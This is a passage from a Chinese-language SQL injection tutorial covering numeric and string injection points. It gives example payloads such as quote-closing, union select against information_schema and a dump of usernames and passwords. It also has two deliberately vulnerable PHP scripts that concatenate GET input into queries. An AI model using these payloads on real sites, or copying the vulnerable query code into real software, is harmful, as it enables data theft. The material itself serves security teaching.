在 Web 端大概是 http://xxx.com/news.php?id=1 这种形式,其注入点 id 类型为数字,所以叫数字型注入点。这一类的 SQL 语句原型大概为 select from 表名 where id=1。组合出来的sql注入语句为:select from news where id=1 and 1=1
这里注入点往往没有任何的技巧,使用最基础的注入流程即可、
附上一份简单的注入点代码:
<?php
$con=mysqli_connect("localhost","root","root","fendo");
// 检测连接
if (mysqli_connect_errno())
{
echo "连接失败: " . mysqli_connect_error();
}
$id = $_GET['id'];
$result = mysqli_query($con,"select * from user where id =".$id);
while($row = mysqli_fetch_array($result))
{
echo $row['username'] . " " . $row['password'];
echo "<br>";
}
?>
字符型注入点
在 Web 端大概是 http://xxx.com/news.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select from 表名 where name='admin'。注意多了引号。组合出来的sql注入语句为:select from news where chr='admin' and 1=1''
闭合单引号chr='admin' union select 1,2,3,4 and '1'='1 ====> chr='admin'(闭合前面单引号) union select 1,2,3,4 and '1'='1'
'and 1=1 and '%'='
%' and 1=1--'
%' and 1=1 and '%'='
%' union select 1,column_name,3,4 from information_schema.columns where table_name='表名' and table_schema='数据库名' and '%'='
%' union select 1,username,password,4 from user--+
<?php
$pwd=$_GET['pwd'];
$conn=mysql_connect("127.0.0.1","root","root");//连接mysql数据库
if($conn){
echo "连接数据库成功!";
}//判断连接是否成功
echo "<br>";
mysql_select_db('fendo',$conn);//选择连接请求为conn的数据库(fendo)
$sql="select * from user where password like '%$pwd%' order by password"; //字符型搜索语句
$result=mysql_query($sql);
while($row = mysql_fetch_array($result)){
echo "用户ID:".$row['id']."<br >";
echo "用户名:".$row['username']."<br >";
echo "用户密码:".$row['password']."<br >";
echo "用户邮箱:".$row['email']."<br >";
}
mysql_close($conn); //关闭数据库连接
echo "<hr>";
echo "你当前执行的sql语句为:"."<br >";
echo $sql;
?>